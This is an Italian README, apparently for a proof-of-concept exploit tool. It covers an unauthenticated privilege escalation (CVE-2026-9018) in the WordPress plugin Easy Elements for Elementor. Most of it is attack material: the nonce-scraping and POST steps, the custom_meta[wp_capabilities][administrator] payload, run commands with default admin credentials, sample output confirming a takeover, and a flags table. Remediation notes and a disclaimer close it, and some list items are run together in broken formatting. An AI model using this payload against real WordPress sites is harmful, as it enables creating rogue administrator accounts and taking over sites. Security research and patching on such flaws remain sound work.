
Escalation dei privilegi non autenticata CVE-2026-9018: Easy Elements for Elementor
Ricerca di: Atomic Edge Gravità: Alta | CVSS: 8.8 | Autenticazione richiesta: Nessuna
Esiste una vulnerabilità di escalation dei privilegi non autenticata nel plugin WordPress Easy Elements for Elementor – Addons & Website Templates (versioni ≤ 1.4.5). La funzione easyel_handle_register(), esposta tramite il gestore AJAX wp_ajax_nopriv_eel_register, passa i valori POST custom_meta controllati dall'attaccante direttamente a update_user_meta() senza alcuna whitelist di chiavi. Ciò consente a un attaccante non autenticato di sovrascrivere la chiave meta wp_capabilities e creare un account di livello amministratore.
Prima dello sfruttamento, sul sito target devono essere soddisfatte le seguenti condizioni:
Impostazioni → Generali → Chiunque può registrarsi)easy_elements_nonce nel DOM della pagina.pip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
L'exploit segue un processo in due fasi:
Step 1 — Raccolta del nonce
Il widget Login/Registrazione di Elementor del plugin renderizza un campo nascosto easy_elements_nonce nell'HTML della pagina. Questo nonce è accessibile pubblicamente a qualsiasi visitatore non autenticato e viene estratto tramite regex dal sorgente della pagina.
Step 2 — Registrazione malevola
Viene inviata una richiesta POST a /wp-admin/admin-ajax.php con action=eel_register. L'array custom_meta viene costruito per includere:
custom_meta[wp_capabilities][administrator] = 1
Poiché easyel_handle_register() passa tutte le chiavi custom_meta direttamente a update_user_meta() senza una whitelist, il meta utente wp_capabilities viene sovrascritto dopo la registrazione, concedendo al nuovo utente pieni privilegi di amministratore.
Gli sviluppatori devono applicare le seguenti correzioni a easyel_handle_register():
custom_meta consentite (es. first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() se non necessario→ Aggiornare immediatamente a Easy Elements for Elementor 1.4.6 o successivo.
Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzare questo strumento contro alcun sistema senza esplicita autorizzazione scritta del proprietario del sistema. L'uso non autorizzato può violare il CFAA (USA), il Codice penale s.342.1 (Canada), la Direttiva UE NIS2 e altre leggi applicabili. Gli autori non si assumono alcuna responsabilità per usi impropri o danni derivanti da questo codice.
| Proprietà | Dettaglio |
|---|
| Plugin | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Versioni interessate | ≤ 1.4.5 |
| Corretta in | 1.4.6+ |
| Vettore | Rete / Non autenticato |
| CWE | CWE-269: Gestione impropria dei privilegi |
| Azione AJAX | eel_register (nopriv) |
| Flag | Descrizione | Predefinito |
|---|
-u, --url | URL WordPress di destinazione | (obbligatorio) |
-U, --username | Nome utente per il nuovo account amministratore | atomic_admin |
-e, --email | Email per il nuovo account amministratore | [email protected] |
-p, --password | Password per il nuovo account amministratore | Atomic@Edge2026! |
-np, --nonce-page | Percorso della pagina contenente il widget Login/Registrazione | / |
--no-verify | Disabilita la verifica del certificato SSL | false |
--skip-verify-login | Salta la verifica di login dell'admin WP post-exploit | false |